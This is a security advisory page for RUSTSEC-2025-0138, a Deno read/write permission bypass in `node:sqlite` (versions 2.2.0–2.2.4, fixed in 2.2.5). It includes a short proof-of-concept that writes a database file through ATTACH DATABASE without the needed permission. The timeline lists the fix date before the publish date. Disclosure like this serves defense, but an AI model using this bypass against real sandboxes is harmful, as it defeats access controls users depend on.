Vulnerability RUSTSEC-2025-0138

Unknown
UNKNOWN RISK
Vulnerabilities without an assigned CVSS score. Severity is not determinable from available data.
1 year ago
June 03, 2025 at 12:00 PM UTC
--allow-read / --allow-write permission bypass in `node:sqlite`
2.2.0 - 2.2.4
2.2.0 - 2.2.4

Summary

--allow-read / --allow-write permission bypass in `node:sqlite`

Details

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js

Impacted packages

Timeline

Published
1 year ago
June 03, 2025 at 12:00 PM UTC
Fixed (2.2.5)
1 year ago
March 21, 2025 at 05:37 AM UTC
Last Modified
1 hour ago
October 12, 2026 at 06:00 PM UTC